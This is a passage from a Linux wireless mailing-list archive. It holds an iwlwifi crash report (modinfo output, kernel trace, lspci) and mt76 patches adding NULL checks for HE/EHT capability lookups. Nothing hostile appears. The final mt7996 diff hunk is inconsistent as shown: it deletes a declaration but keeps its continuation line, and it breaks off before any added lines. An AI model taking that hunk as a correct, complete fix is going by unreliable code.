alias:          pci:v00008086d0000423Dsv*sd00001316bc*sc*i*
alias:          pci:v00008086d0000423Dsv*sd00001216bc*sc*i*
alias:          pci:v00008086d0000423Dsv*sd00001311bc*sc*i*
alias:          pci:v00008086d0000423Dsv*sd00001211bc*sc*i*
alias:          pci:v00008086d0000423Csv*sd00001326bc*sc*i*
alias:          pci:v00008086d0000423Csv*sd00001321bc*sc*i*
alias:          pci:v00008086d0000423Csv*sd00001221bc*sc*i*
alias:          pci:v00008086d0000423Csv*sd00001306bc*sc*i*
alias:          pci:v00008086d0000423Csv*sd00001206bc*sc*i*
alias:          pci:v00008086d0000423Csv*sd00001301bc*sc*i*
alias:          pci:v00008086d0000423Csv*sd00001201bc*sc*i*
alias:          pci:v00008086d0000423Bsv*sd00001011bc*sc*i*
alias:          pci:v00008086d0000423Asv*sd00001021bc*sc*i*
alias:          pci:v00008086d0000423Asv*sd00001001bc*sc*i*
alias:          pci:v00008086d00004236sv*sd00001114bc*sc*i*
alias:          pci:v00008086d00004236sv*sd00001014bc*sc*i*
alias:          pci:v00008086d00004236sv*sd00001111bc*sc*i*
alias:          pci:v00008086d00004236sv*sd00001011bc*sc*i*
alias:          pci:v00008086d00004235sv*sd00001104bc*sc*i*
alias:          pci:v00008086d00004235sv*sd00001004bc*sc*i*
alias:          pci:v00008086d00004235sv*sd00001101bc*sc*i*
alias:          pci:v00008086d00004235sv*sd00001001bc*sc*i*
alias:          pci:v00008086d00004235sv*sd00001124bc*sc*i*
alias:          pci:v00008086d00004235sv*sd00001024bc*sc*i*
alias:          pci:v00008086d00004235sv*sd00001121bc*sc*i*
alias:          pci:v00008086d00004235sv*sd00001021bc*sc*i*
alias:          pci:v00008086d00004237sv*sd00001316bc*sc*i*
alias:          pci:v00008086d00004237sv*sd00001216bc*sc*i*
alias:          pci:v00008086d00004237sv*sd00001315bc*sc*i*
alias:          pci:v00008086d00004237sv*sd00001215bc*sc*i*
alias:          pci:v00008086d00004237sv*sd00001314bc*sc*i*
alias:          pci:v00008086d00004237sv*sd00001214bc*sc*i*
alias:          pci:v00008086d00004237sv*sd00001311bc*sc*i*
alias:          pci:v00008086d00004237sv*sd00001211bc*sc*i*
alias:          pci:v00008086d00004232sv*sd00001326bc*sc*i*
alias:          pci:v00008086d00004232sv*sd00001226bc*sc*i*
alias:          pci:v00008086d00004232sv*sd00001325bc*sc*i*
alias:          pci:v00008086d00004232sv*sd00001225bc*sc*i*
alias:          pci:v00008086d00004232sv*sd00001324bc*sc*i*
alias:          pci:v00008086d00004232sv*sd00001224bc*sc*i*
alias:          pci:v00008086d00004232sv*sd00001321bc*sc*i*
alias:          pci:v00008086d00004232sv*sd00001221bc*sc*i*
alias:          pci:v00008086d00004232sv*sd00001306bc*sc*i*
alias:          pci:v00008086d00004232sv*sd00001206bc*sc*i*
alias:          pci:v00008086d00004232sv*sd00001305bc*sc*i*
alias:          pci:v00008086d00004232sv*sd00001205bc*sc*i*
alias:          pci:v00008086d00004232sv*sd00001304bc*sc*i*
alias:          pci:v00008086d00004232sv*sd00001204bc*sc*i*
alias:          pci:v00008086d00004232sv*sd00001301bc*sc*i*
alias:          pci:v00008086d00004232sv*sd00001201bc*sc*i*
depends:        cfg80211
intree:         Y
name:           iwlwifi
retpoline:      Y
vermagic:       7.0.13-070013-generic SMP preempt mod_unload modversions 
sig_id:         PKCS#7
signer:         Build time autogenerated kernel key
sig_key:        4B:2A:51:79:E4:90:33:49:26:46:36:EB:35:6D:F3:E7:77:15:8A:58
sig_hashalgo:   sha512
signature:      80:4C:98:49:E7:71:E7:E3:13:F7:3D:D7:89:9A:33:3C:48:C5:17:6C:
		9E:31:5B:AA:32:EE:5D:B2:37:7B:25:0E:F1:DF:A3:0C:0C:62:C1:92:
		2F:37:7B:89:C8:CA:0E:6C:E4:4B:6F:F1:F2:4C:06:D1:38:12:03:2F:
		74:00:29:4E:68:35:AA:5A:86:98:3C:88:1A:6F:34:88:44:5B:E3:F4:
		61:B3:18:15:C6:0B:42:0F:1D:05:DE:09:87:51:C0:6E:D1:0B:52:F0:
		2C:23:D8:9C:65:5A:55:A2:A0:EC:54:0A:C2:8C:61:86:6C:53:7D:FC:
		A1:B0:40:7B:B9:8A:1B:83:99:C2:E3:5A:CA:AF:7A:06:D2:F5:0D:39:
		18:52:82:7A:49:2D:4B:09:29:1E:E5:D4:E8:C3:5B:ED:D1:1E:B3:86:
		FC:37:98:30:73:18:BC:72:AA:97:7E:82:6E:73:A2:9C:6C:AD:78:9D:
		72:13:A8:87:38:26:E0:0F:8F:C5:EA:B6:95:3C:EE:65:49:39:49:98:
		14:C5:BA:C6:97:1C:05:71:48:1F:95:E8:39:7E:2A:4A:13:41:85:A7:
		E6:81:8F:53:5B:F8:3A:18:E1:64:4E:37:85:6C:6F:06:EF:87:47:FA:
		7E:37:91:96:5D:D1:AC:DC:D6:6D:C3:46:71:78:76:7A:B2:E7:77:9B:
		00:C0:1A:14:7B:AB:78:A5:A5:AF:25:01:FD:17:B6:E4:7A:3F:D2:3B:
		64:EC:F3:3A:F1:77:18:00:31:91:41:65:34:6B:18:B0:06:45:90:3D:
		D2:1E:E1:92:F2:86:06:F8:52:07:04:08:25:51:7A:DF:77:DA:5E:B1:
		80:BC:A7:4A:E9:74:A9:9D:51:DF:91:5D:36:2B:D0:74:14:E7:5F:57:
		CC:6F:8C:5A:AF:07:36:EA:14:4C:5A:1D:F8:4F:B0:8A:5D:48:79:A8:
		A8:92:98:83:BB:B7:1C:E7:99:0D:5D:B4:11:E6:C9:DD:98:48:DF:EE:
		CE:62:B5:54:4D:48:02:C3:93:50:73:91:D3:7A:4A:1C:12:6B:69:14:
		97:FC:95:66:21:A1:D9:06:99:0F:FB:69:17:6B:93:A0:F7:19:51:FD:
		85:DE:E5:98:42:6F:BB:30:E9:31:06:07:5C:75:12:75:F6:30:CD:A5:
		FC:34:AB:0E:12:83:B8:F8:67:83:56:DC:EC:EC:F5:E0:64:22:5B:55:
		A8:BF:68:59:28:E7:FF:65:14:04:58:1C:F5:4E:23:6D:15:D3:F6:E5:
		5B:10:5B:7A:00:2D:98:4C:B8:85:3D:A7:BD:9F:82:92:43:CC:2E:FA:
		51:1A:9D:36:40:68:79:D3:F8:38:85:1B
parm:           swcrypto:using crypto in software (default 0 [hardware]) (int)
parm:           11n_disable:disable 11n functionality, bitmap: 1: full, 2: disable agg TX, 4: disable agg RX, 8 enable agg TX (uint)
parm:           amsdu_size:amsdu size 0: 12K for multi Rx queue devices, 2K for AX210 devices, 4K for other devices 1:4K 2:8K 3:12K (16K buffers) 4: 2K (default 0) (int)
parm:           fw_restart:restart firmware in case of error (default true) (bool)
parm:           nvm_file:NVM file name (charp)
parm:           uapsd_disable:disable U-APSD functionality bitmap 1: BSS 2: P2P Client (default: 3) (uint)
parm:           enable_ini:0:disable, 1-15:FW_DBG_PRESET Values, 16:enabled without preset value defined,Debug INI TLV FW debug infrastructure (default: 16) (uint)
parm:           bt_coex_active:enable wifi/bt co-exist (default: enable) (bool)
parm:           led_mode:0=system default, 1=On(RF On)/Off(RF Off), 2=blinking, 3=Off (default: 0) (int)
parm:           power_save:enable WiFi power management (default: disable) (bool)
parm:           power_level:default power save level (range from 1 - 5, default: 1) (int)
parm:           disable_11ac:Disable VHT capabilities (default: false) (bool)
parm:           remove_when_gone:Remove dev from PCIe bus if it is deemed inaccessible (default: false) (bool)
parm:           disable_11ax:Disable HE capabilities (default: false) (bool)
parm:           disable_11be:Disable EHT capabilities (default: false) (bool)

[-- Attachment #3: kernel_crash.log --]
[-- Type: text/x-log, Size: 10109 bytes --]

июн 21 19:29:20 notikas kernel: ------------[ cut here ]------------
июн 21 19:29:20 notikas kernel: bad state = 0
июн 21 19:29:20 notikas kernel: WARNING: drivers/net/wireless/intel/iwlwifi/iwl-trans.c:714 at iwl_trans_wait_tx_queues_empty+0x2b/0x40 [iwlwifi], CPU#1: kworker/1:2/20000
июн 21 19:29:20 notikas kernel: Modules linked in: rfcomm snd_seq_dummy snd_hrtimer ccm qrtr cmac algif_hash algif_skcipher af_alg bnep snd_hda_codec_intelhdmi snd_hda_codec_hdmi snd_ctl_led snd_hda_codec_idt snd_hda_codec_generic intel_rapl_msr intel_rapl_common x86_pkg_temp_thermal intel_powerclamp iwldvm snd_hda_intel coretemp snd_hda_codec mac80211 kvm_intel snd_hda_core snd_intel_dspcfg snd_intel_sdw_acpi snd_hwdep libarc4 binfmt_misc snd_pcm iwlwifi hid_sensor_magn_3d uvcvideo kvm videobuf2_vmalloc uvc videobuf2_memops videobuf2_v4l2 btusb videobuf2_common hid_sensor_incl_3d btmtk btrtl hid_sensor_rotation hid_sensor_accel_3d hid_sensor_gyro_3d btbcm hp_wmi hid_sensor_trigger irqbypass btintel platform_profile videodev rapl snd_seq_midi hid_sensor_iio_common intel_cstate nls_iso8859_1 sparse_keymap wmi_bmof cfg80211 mc lpc_ich bluetooth snd_seq_midi_event snd_rawmidi tpm_infineon i915 acpi_als industrialio_triggered_buffer snd_seq snd_seq_device snd_timer snd soc_button_array wireless_hotkey drm_buddy kfifo_buf industrialio
июн 21 19:29:20 notikas kernel:  soundcore ttm drm_display_helper cec rc_core i2c_algo_bit joydev input_leds mac_hid sch_fq_codel parport_pc lp ppdev msr parport efi_pstore nfnetlink dmi_sysfs autofs4 btrfs libblake2b xor raid6_pq dm_crypt hid_sensor_custom hid_multitouch hid_sensor_hub hid_generic usbhid hid psmouse serio_raw ghash_clmulni_intel sdhci_pci video sdhci_uhs2 ahci sdhci libahci e1000e wmi cqhci aesni_intel
июн 21 19:29:20 notikas kernel: CPU: 1 UID: 0 PID: 20000 Comm: kworker/1:2 Tainted: G          I         7.0.13-070013-generic #202606191305 PREEMPT(lazy) 
июн 21 19:29:20 notikas kernel: Tainted: [I]=FIRMWARE_WORKAROUND
июн 21 19:29:20 notikas kernel: Hardware name: Hewlett-Packard HP EliteBook Revolve 810 G1/18F8, BIOS 68IOD Ver. F.67 07/13/2017
июн 21 19:29:20 notikas kernel: Workqueue: events iwl_trans_reprobe_wk [iwlwifi]
июн 21 19:29:20 notikas kernel: RIP: 0010:iwl_trans_wait_tx_queues_empty+0x2b/0x40 [iwlwifi]
июн 21 19:29:20 notikas kernel: Code: 1f 44 00 00 55 89 f0 8b 77 60 48 89 e5 83 fe 02 75 11 89 c6 e8 e6 54 ff ff 5d 31 f6 31 ff c3 cc cc cc cc 48 8d 3d f5 18 f5 ff <67> 48 0f b9 3a b8 fb ff ff ff 5d 31 f6 31 ff c3 cc cc cc cc 90 90
июн 21 19:29:20 notikas kernel: RSP: 0018:ffffd1134da7b4e8 EFLAGS: 00010293
июн 21 19:29:20 notikas kernel: RAX: 00000000000ffdef RBX: ffff8cb98dbf20a0 RCX: 0000000000000000
июн 21 19:29:20 notikas kernel: RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffffffc1579a50
июн 21 19:29:20 notikas kernel: RBP: ffffd1134da7b4e8 R08: 0000000000000000 R09: 0000000000000000
июн 21 19:29:20 notikas kernel: R10: 0000000000000000 R11: 0000000000000000 R12: 00000000000ffdef
июн 21 19:29:20 notikas kernel: R13: ffff8cb98dbf0980 R14: 0000000000000000 R15: ffff8cb98dbf0980
июн 21 19:29:20 notikas kernel: FS:  0000000000000000(0000) GS:ffff8cbb0be81000(0000) knlGS:0000000000000000
июн 21 19:29:20 notikas kernel: CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
июн 21 19:29:20 notikas kernel: CR2: 000076ab99f4b000 CR3: 0000000234644002 CR4: 00000000001726f0
июн 21 19:29:20 notikas kernel: Call Trace:
июн 21 19:29:20 notikas kernel:  <TASK>
июн 21 19:29:20 notikas kernel:  iwlagn_mac_flush+0xb2/0x190 [iwldvm]
июн 21 19:29:20 notikas kernel:  drv_flush+0x8d/0x1d0 [mac80211]
июн 21 19:29:20 notikas kernel:  __ieee80211_flush_queues+0xd9/0x120 [mac80211]
июн 21 19:29:20 notikas kernel:  ieee80211_flush_queues+0x13/0x30 [mac80211]
июн 21 19:29:20 notikas kernel:  ieee80211_set_disassoc+0x77e/0x8a0 [mac80211]
июн 21 19:29:20 notikas kernel:  ieee80211_mgd_deauth+0x148/0x590 [mac80211]
июн 21 19:29:20 notikas kernel:  ieee80211_deauth+0x18/0x30 [mac80211]
июн 21 19:29:20 notikas kernel:  cfg80211_mlme_deauth+0xa8/0x220 [cfg80211]
июн 21 19:29:20 notikas kernel:  cfg80211_mlme_down+0x60/0x90 [cfg80211]
июн 21 19:29:20 notikas kernel:  cfg80211_disconnect+0x1a6/0x230 [cfg80211]
июн 21 19:29:20 notikas kernel:  cfg80211_leave+0x237/0x290 [cfg80211]
июн 21 19:29:20 notikas kernel:  cfg80211_netdev_notifier_call+0x185/0x4d0 [cfg80211]
июн 21 19:29:20 notikas kernel:  ? sched_balance_rq+0x11e/0xa90
июн 21 19:29:20 notikas kernel:  ? sugov_update_single_freq+0xe2/0x250
июн 21 19:29:20 notikas kernel:  ? sched_clock_noinstr+0x9/0x10
июн 21 19:29:20 notikas kernel:  ? sched_clock+0x10/0x30
июн 21 19:29:20 notikas kernel:  ? sched_clock_cpu+0xf/0x260
июн 21 19:29:20 notikas kernel:  ? raw_spin_rq_lock_nested+0x21/0xa0
июн 21 19:29:20 notikas kernel:  ? sched_balance_newidle+0x3e6/0x560
июн 21 19:29:20 notikas kernel:  ? __update_idle_core+0x56/0x1c0
июн 21 19:29:20 notikas kernel:  ? psi_group_change+0x195/0x460
июн 21 19:29:20 notikas kernel:  ? _raw_spin_lock_irqsave+0xe/0x20
июн 21 19:29:20 notikas kernel:  ? packet_notifier+0x85/0x280
июн 21 19:29:20 notikas kernel:  notifier_call_chain+0x62/0xf0
июн 21 19:29:20 notikas kernel:  raw_notifier_call_chain+0x16/0x30
июн 21 19:29:20 notikas kernel:  call_netdevice_notifiers_info+0x50/0x80
июн 21 19:29:20 notikas kernel:  __dev_close_many+0x65/0x220
июн 21 19:29:20 notikas kernel:  netif_close_many+0xb7/0x1b0
июн 21 19:29:20 notikas kernel:  netif_close+0x70/0xa0
июн 21 19:29:20 notikas kernel:  dev_close+0x38/0xb0
июн 21 19:29:20 notikas kernel:  cfg80211_shutdown_all_interfaces+0x50/0x100 [cfg80211]
июн 21 19:29:20 notikas kernel:  ieee80211_remove_interfaces+0x47/0x220 [mac80211]
июн 21 19:29:20 notikas kernel:  ieee80211_unregister_hw+0x4a/0x140 [mac80211]
июн 21 19:29:20 notikas kernel:  iwlagn_mac_unregister+0x2e/0x50 [iwldvm]
июн 21 19:29:20 notikas kernel:  iwl_op_mode_dvm_stop+0x36/0xe0 [iwldvm]
июн 21 19:29:20 notikas kernel:  iwl_drv_stop+0x4e/0x100 [iwlwifi]
июн 21 19:29:20 notikas kernel:  iwl_pcie_gen1_2_remove+0x22/0x40 [iwlwifi]
июн 21 19:29:20 notikas kernel:  iwl_pci_remove+0x1a/0x30 [iwlwifi]
июн 21 19:29:20 notikas kernel:  pci_device_remove+0x4b/0xc0
июн 21 19:29:20 notikas kernel:  device_remove+0x43/0x80
июн 21 19:29:20 notikas kernel:  device_release_driver_internal+0x1fb/0x260
июн 21 19:29:20 notikas kernel:  device_driver_detach+0x14/0x20
июн 21 19:29:20 notikas kernel:  device_reprobe+0x1d/0x40
июн 21 19:29:20 notikas kernel:  iwl_trans_reprobe_wk+0x18/0x50 [iwlwifi]
июн 21 19:29:20 notikas kernel:  process_one_work+0x1ac/0x3d0
июн 21 19:29:20 notikas kernel:  worker_thread+0x1b8/0x360
июн 21 19:29:20 notikas kernel:  ? _raw_spin_lock_irqsave+0xe/0x20
июн 21 19:29:20 notikas kernel:  ? __pfx_worker_thread+0x10/0x10
июн 21 19:29:20 notikas kernel:  kthread+0xf7/0x130
июн 21 19:29:20 notikas kernel:  ? __pfx_kthread+0x10/0x10
июн 21 19:29:20 notikas kernel:  ret_from_fork+0x195/0x2a0
июн 21 19:29:20 notikas kernel:  ? __pfx_kthread+0x10/0x10
июн 21 19:29:20 notikas kernel:  ? __pfx_kthread+0x10/0x10
июн 21 19:29:20 notikas kernel:  ret_from_fork_asm+0x1a/0x30
июн 21 19:29:20 notikas kernel:  </TASK>
июн 21 19:29:20 notikas kernel: ---[ end trace 0000000000000000 ]---
июн 21 19:29:20 notikas kernel: iwlwifi 0000:03:00.0: Command REPLY_ADD_STA failed: FW Error
июн 21 19:29:20 notikas kernel: wlo1: HW problem - can not stop rx aggregation for 3c:84:6a:e5:64:76 tid 0
июн 21 19:29:20 notikas kernel: iwlwifi 0000:03:00.0: Command REPLY_ADD_STA failed: FW Error
июн 21 19:29:20 notikas kernel: wlo1: HW problem - can not stop rx aggregation for 3c:84:6a:e5:64:76 tid 6
июн 21 19:29:20 notikas kernel: iwlwifi 0000:03:00.0: Command REPLY_TXFIFO_FLUSH failed: FW Error
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Couldn't flush the AGG queue
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Command REPLY_TXFIFO_FLUSH failed: FW Error
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Couldn't flush the AGG queue
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Command REPLY_ADD_STA failed: FW Error
июн 21 19:29:21 notikas kernel: wlo1: failed to remove key (0, 3c:84:6a:e5:64:76) from hardware (-5)
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Command REPLY_RXON_ASSOC failed: FW Error
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Error setting RXON_ASSOC (-5)
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Command REPLY_QOS_PARAM failed: FW Error
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Failed to update QoS
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Command REPLY_RXON failed: FW Error
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Error clearing ASSOC_MSK on BSS (-5)
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Command REPLY_RXON failed: FW Error
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Error clearing ASSOC_MSK on BSS (-5)
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Command REPLY_RXON failed: FW Error
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Error clearing ASSOC_MSK on BSS (-5)
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Command REPLY_RXON failed: FW Error
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Error clearing ASSOC_MSK on BSS (-5)
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Command REPLY_ADD_STA failed: FW Error
июн 21 19:29:21 notikas kernel: wlo1: failed to remove key (1, ff:ff:ff:ff:ff:ff) from hardware (-5)
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Command REPLY_RXON failed: FW Error
июн 21 19:29:21 notikas kernel: iwlwifi 0000:03:00.0: Error clearing ASSOC_MSK on BSS (-5)
июн 21 19:29:21 notikas kernel: BUG: kernel NULL pointer dereference, address: 0000000000000000
июн 21 19:29:21 notikas kernel: #PF: supervisor instruction fetch in kernel mode

[-- Attachment #4: lspci.txt --]
[-- Type: text/plain, Size: 2902 bytes --]

03:00.0 Network controller [0280]: Intel Corporation Centrino Advanced-N 6235 [8086:088e] (rev 24)
	DeviceName: WLAN
	Subsystem: Intel Corporation Centrino Advanced-N 6235 AGN [8086:4060]
	Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+
	Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
	Latency: 0, Cache Line Size: 64 bytes
	Interrupt: pin A routed to IRQ 40
	IOMMU group: 12
	Region 0: Memory at d0400000 (64-bit, non-prefetchable) [size=8K]
	Capabilities: [c8] Power Management version 3
		Flags: PMEClk- DSI+ D1- D2- AuxCurrent=0mA PME(D0+,D1-,D2-,D3hot+,D3cold+)
		Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME-
	Capabilities: [d0] MSI: Enable+ Count=1/1 Maskable- 64bit+
		Address: 00000000fee00458  Data: 0000
	Capabilities: [e0] Express (v1) Endpoint, IntMsgNum 0
		DevCap:	MaxPayload 128 bytes, PhantFunc 0, Latency L0s <512ns, L1 unlimited
			ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+ SlotPowerLimit 0W TEE-IO-
		DevCtl:	CorrErr+ NonFatalErr+ FatalErr+ UnsupReq+
			RlxdOrd+ ExtTag- PhantFunc- AuxPwr- NoSnoop+ FLReset-
			MaxPayload 128 bytes, MaxReadReq 128 bytes
		DevSta:	CorrErr+ NonFatalErr- FatalErr- UnsupReq+ AuxPwr+ TransPend-
		LnkCap:	Port #0, Speed 2.5GT/s, Width x1, ASPM L0s L1, Exit Latency L0s <4us, L1 <32us
			ClockPM+ Surprise- LLActRep- BwNot- ASPMOptComp-
		LnkCtl:	ASPM L1 Enabled; RCB 64 bytes, LnkDisable- CommClk+
			ExtSynch- ClockPM+ AutWidDis- BWInt- AutBWInt- FltModeDis-
		LnkSta:	Speed 2.5GT/s, Width x1
			TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt-
	Capabilities: [100 v1] Advanced Error Reporting
		UESta:	DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP-
			ECRC- UnsupReq- ACSViol- UncorrIntErr- BlockedTLP- AtomicOpBlocked- TLPBlockedErr-
			PoisonTLPBlocked- DMWrReqBlocked- IDECheck- MisIDETLP- PCRC_CHECK- TLPXlatBlocked-
		UEMsk:	DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP-
			ECRC- UnsupReq- ACSViol- UncorrIntErr- BlockedTLP- AtomicOpBlocked- TLPBlockedErr-
			PoisonTLPBlocked- DMWrReqBlocked- IDECheck- MisIDETLP- PCRC_CHECK- TLPXlatBlocked-
		UESvrt:	DLP+ SDES- TLP- FCP+ CmpltTO- CmpltAbrt- UnxCmplt- RxOF+ MalfTLP+
			ECRC- UnsupReq- ACSViol- UncorrIntErr- BlockedTLP- AtomicOpBlocked- TLPBlockedErr-
			PoisonTLPBlocked- DMWrReqBlocked- IDECheck- MisIDETLP- PCRC_CHECK- TLPXlatBlocked-
		CESta:	RxErr- BadTLP- BadDLLP- Rollover- Timeout- AdvNonFatalErr- CorrIntErr- HeaderOF-
		CEMsk:	RxErr- BadTLP- BadDLLP- Rollover- Timeout- AdvNonFatalErr+ CorrIntErr- HeaderOF-
		AERCap:	First Error Pointer: 00, ECRCGenCap- ECRCGenEn- ECRCChkCap- ECRCChkEn-
			MultHdrRecCap- MultHdrRecEn- TLPPfxPres- HdrLogCap-
		HeaderLog: 00000000 00000000 00000000 00000000
	Capabilities: [140 v1] Device Serial Number c4-d9-87-ff-ff-7a-6e-7b
	Kernel driver in use: iwlwifi
	Kernel modules: iwlwifi


^ permalink raw reply

* Re: [PATCH] wifi: mt76: mt7915: guard HE capability lookups
From: Lorenzo Bianconi @ 2026-06-21 13:32 UTC (permalink / raw)
  To: Ruoyu Wang
  Cc: Felix Fietkau, Ryder Lee, Shayne Chen, Sean Wang,
	Matthias Brugger, AngeloGioacchino Del Regno, linux-wireless,
	linux-kernel, linux-arm-kernel, linux-mediatek
In-Reply-To: <20260620155332.81120-1-ruoyuw560@gmail.com>

[-- Attachment #1: Type: text/plain, Size: 3281 bytes --]

> mt7915_mcu_bss_he_tlv() and mt7915_mcu_sta_bfer_tlv() both run after
> checking HE support, then dereference the HE PHY capability returned by
> mt76_connac_get_he_phy_cap(). That helper can return NULL when no
> capability entry matches the vif type.
> 
> Fetch the capability before appending the TLV and skip the HE-specific
> setup when no matching capability is available.

Acked-by: Lorenzo Bianconi <lorenzo@kernel.org>

> 
> Fixes: e6d557a78b60 ("mt76: mt7915: rely on mt76_connac_get_phy utilities")
> Signed-off-by: Ruoyu Wang <ruoyuw560@gmail.com>
> ---
>  .../net/wireless/mediatek/mt76/mt7915/mcu.c    | 18 +++++++++++++-----
>  1 file changed, 13 insertions(+), 5 deletions(-)
> 
> diff --git a/drivers/net/wireless/mediatek/mt76/mt7915/mcu.c b/drivers/net/wireless/mediatek/mt76/mt7915/mcu.c
> index 318c38149463..391c91675130 100644
> --- a/drivers/net/wireless/mediatek/mt76/mt7915/mcu.c
> +++ b/drivers/net/wireless/mediatek/mt76/mt7915/mcu.c
> @@ -595,6 +595,8 @@ mt7915_mcu_bss_he_tlv(struct sk_buff *skb, struct ieee80211_vif *vif,
>  	struct tlv *tlv;
>  
>  	cap = mt76_connac_get_he_phy_cap(phy->mt76, vif);
> +	if (!cap)
> +		return;
>  
>  	tlv = mt76_connac_mcu_add_tlv(skb, BSS_INFO_HE_BASIC, sizeof(*he));
>  
> @@ -1177,13 +1179,12 @@ mt7915_mcu_sta_bfer_vht(struct ieee80211_sta *sta, struct mt7915_phy *phy,
>  }
>  
>  static void
> -mt7915_mcu_sta_bfer_he(struct ieee80211_sta *sta, struct ieee80211_vif *vif,
> -		       struct mt7915_phy *phy, struct sta_rec_bf *bf)
> +mt7915_mcu_sta_bfer_he(struct ieee80211_sta *sta,
> +		       const struct ieee80211_sta_he_cap *vc,
> +		       struct sta_rec_bf *bf)
>  {
>  	struct ieee80211_sta_he_cap *pc = &sta->deflink.he_cap;
>  	struct ieee80211_he_cap_elem *pe = &pc->he_cap_elem;
> -	const struct ieee80211_sta_he_cap *vc =
> -		mt76_connac_get_he_phy_cap(phy->mt76, vif);
>  	const struct ieee80211_he_cap_elem *ve = &vc->he_cap_elem;
>  	u16 mcs_map = le16_to_cpu(pc->he_mcs_nss_supp.rx_mcs_80);
>  	u8 nss_mcs = mt7915_mcu_get_sta_nss(mcs_map);
> @@ -1242,6 +1243,7 @@ mt7915_mcu_sta_bfer_tlv(struct mt7915_dev *dev, struct sk_buff *skb,
>  {
>  	struct mt7915_vif *mvif = (struct mt7915_vif *)vif->drv_priv;
>  	struct mt7915_phy *phy = mvif->phy;
> +	const struct ieee80211_sta_he_cap *vc = NULL;
>  	int tx_ant = hweight8(phy->mt76->chainmask) - 1;
>  	struct sta_rec_bf *bf;
>  	struct tlv *tlv;
> @@ -1260,6 +1262,12 @@ mt7915_mcu_sta_bfer_tlv(struct mt7915_dev *dev, struct sk_buff *skb,
>  	if (!ebf && !dev->ibf)
>  		return;
>  
> +	if (sta->deflink.he_cap.has_he && ebf) {
> +		vc = mt76_connac_get_he_phy_cap(phy->mt76, vif);
> +		if (!vc)
> +			return;
> +	}
> +
>  	tlv = mt76_connac_mcu_add_tlv(skb, STA_REC_BF, sizeof(*bf));
>  	bf = (struct sta_rec_bf *)tlv;
>  
> @@ -1268,7 +1276,7 @@ mt7915_mcu_sta_bfer_tlv(struct mt7915_dev *dev, struct sk_buff *skb,
>  	 * ht: iBF only, since mac80211 lacks of eBF support
>  	 */
>  	if (sta->deflink.he_cap.has_he && ebf)
> -		mt7915_mcu_sta_bfer_he(sta, vif, phy, bf);
> +		mt7915_mcu_sta_bfer_he(sta, vc, bf);
>  	else if (sta->deflink.vht_cap.vht_supported)
>  		mt7915_mcu_sta_bfer_vht(sta, phy, bf, ebf);
>  	else if (sta->deflink.ht_cap.ht_supported)

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 228 bytes --]

^ permalink raw reply

* [PATCH 4/4] wifi: mt76: mt7996: fix possible NULL-pointer deref in mt7996_mcu_sta_bfer_eht()
From: Lorenzo Bianconi @ 2026-06-21 13:25 UTC (permalink / raw)
  To: Felix Fietkau, Ryder Lee, Shayne Chen, Sean Wang,
	Matthias Brugger, AngeloGioacchino Del Regno, Leon Yen, Hao Zhang,
	Nelson Yu, Rong Yan, Money Wang, Bo Jiao, StanleyYP Wang,
	Howard Hsu, Evelyn Tsai, Lorenzo Bianconi, Mingyen Hsieh
  Cc: linux-wireless, linux-arm-kernel, linux-mediatek, Quan Zhou,
	Deren Wu, MeiChia Chiu
In-Reply-To: <20260621-mt76_connac_get_he_phy_cap-fix-v1-0-ed4ccf7a0363@kernel.org>

mt76_connac_get_eht_phy_cap routine can theoretically return NULL so
check cap pointer before dereferencing it.

Fixes: ba01944adee9f ("wifi: mt76: mt7996: add EHT beamforming support")
Signed-off-by: Lorenzo Bianconi <lorenzo@kernel.org>
---
 drivers/net/wireless/mediatek/mt76/mt7996/mcu.c | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/drivers/net/wireless/mediatek/mt76/mt7996/mcu.c b/drivers/net/wireless/mediatek/mt76/mt7996/mcu.c
index c868b1356894..063097fad825 100644
--- a/drivers/net/wireless/mediatek/mt76/mt7996/mcu.c
+++ b/drivers/net/wireless/mediatek/mt76/mt7996/mcu.c
@@ -1924,14 +1924,19 @@ mt7996_mcu_sta_bfer_eht(struct ieee80211_link_sta *link_sta,
 	struct ieee80211_sta_eht_cap *pc = &link_sta->eht_cap;
 	struct ieee80211_eht_cap_elem_fixed *pe = &pc->eht_cap_elem;
 	struct ieee80211_eht_mcs_nss_supp *eht_nss = &pc->eht_mcs_nss_supp;
-	const struct ieee80211_sta_eht_cap *vc =
 		mt76_connac_get_eht_phy_cap(phy->mt76, vif);
-	const struct ieee80211_eht_cap_elem_fixed *ve = &vc->eht_cap_elem;
 	u8 nss_mcs = u8_get_bits(eht_nss->bw._80.rx_tx_mcs9_max_nss,
 				 IEEE80211_EHT_MCS_NSS_RX) - 1;
